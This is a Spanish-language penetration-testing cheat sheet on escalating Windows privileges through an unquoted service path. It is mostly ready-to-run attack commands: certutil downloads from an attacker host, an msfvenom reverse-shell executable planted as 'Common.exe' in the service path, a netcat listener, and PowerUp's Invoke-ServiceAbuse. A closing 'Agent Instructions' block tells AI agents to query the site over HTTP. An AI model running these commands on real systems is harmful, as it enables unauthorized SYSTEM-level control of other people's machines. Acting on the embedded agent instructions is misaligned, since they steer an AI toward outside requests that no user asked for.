# Ruta de servicio sin comillas

## Manual

### Enumeración

```shell
# Transferencia de WinPEAS
## Máquina atacante
md5sum winpeas.exe; python3 -m http.server 80
## Máquina victima
certutil.exe -urlcache -f http://<attacker-IP-address>:80/winpeas.exe winpeas.exe & certutil.exe -hashfile winpeas.exe MD5

# Transferencia de AccessChk
## Máquina atacante
md5sum accesschk.exe; python3 -m http.server 80
## Máquina victima
certutil.exe -urlcache -f http://<attacker-IP-address>:80/accesschk.exe accesschk.exe & certutil.exe -hashfile accesschk.exe MD5

# Enumeración de servicios con WinPEAS
.\winpeas.exe quiet servicesinfo
# Enumeración de privilegios del servicio con AccessChk (SERVICE_CHANGE_CONFIG)
.\accesschk.exe /accepteula -ucqv user <service-name>
# Revisión de privilegios de ejecución del servicio (SERVICE_START_NAME) y ruta del servicio sin comillas (BINARY_PATH_NAME)
## SERVICE_START_NAME: LocalSystem
sc qc <service-name>
```

### Revisión de permisos de escritura en ruta de directorios del servicio

* Privilegios: BUILTIN\Users
* Ruta del servicio: `C:\Program Files\Unquoted Path Service\Common Files\service.exe`

```shell
.\accesschk.exe /accepteula -uwdq C:\
.\accesschk.exe /accepteula -uwdq "C:\Program Files\"
.\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"
.\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\Common Files\"
```

### Escalamiento de privilegios

```shell
# Generación y transferencia de reverse shell
## Máquina atacante
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker-IP-address> LPORT=443 -f exe -o reverse.exe
md5sum reverse.exe; python3 -m http.server 80
## Máquina victima
certutil.exe -urlcache -f http://<attacker-IP-address>:80/reverse.exe reverse.exe & certutil.exe -hashfile reverse.exe MD5

# Copia de reverse shell a ruta del servicio
## Ruta original del servicio: C:\Program Files\Unquoted Path Service\Common Files\service.exe
copy reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"

# Configuración de listener de reverse shell en máquina atacante
rlwrap nc -lvnp 443

# Inicio del servicio
net start <service-name>
```

## Automatizado

### PowerUp

```powershell
Import-Module .\PowerUp.ps1
Get-ServiceUnquoted
Invoke-ServiceAbuse -Name '<service-name>' -UserName "<ACME.LOCAL>\<user>"
net localgroup administrators
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://pentesting.mrw0l05zyn.cl/escalamiento-de-privilegios/windows/servicios/ruta-de-servicio-sin-comillas.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
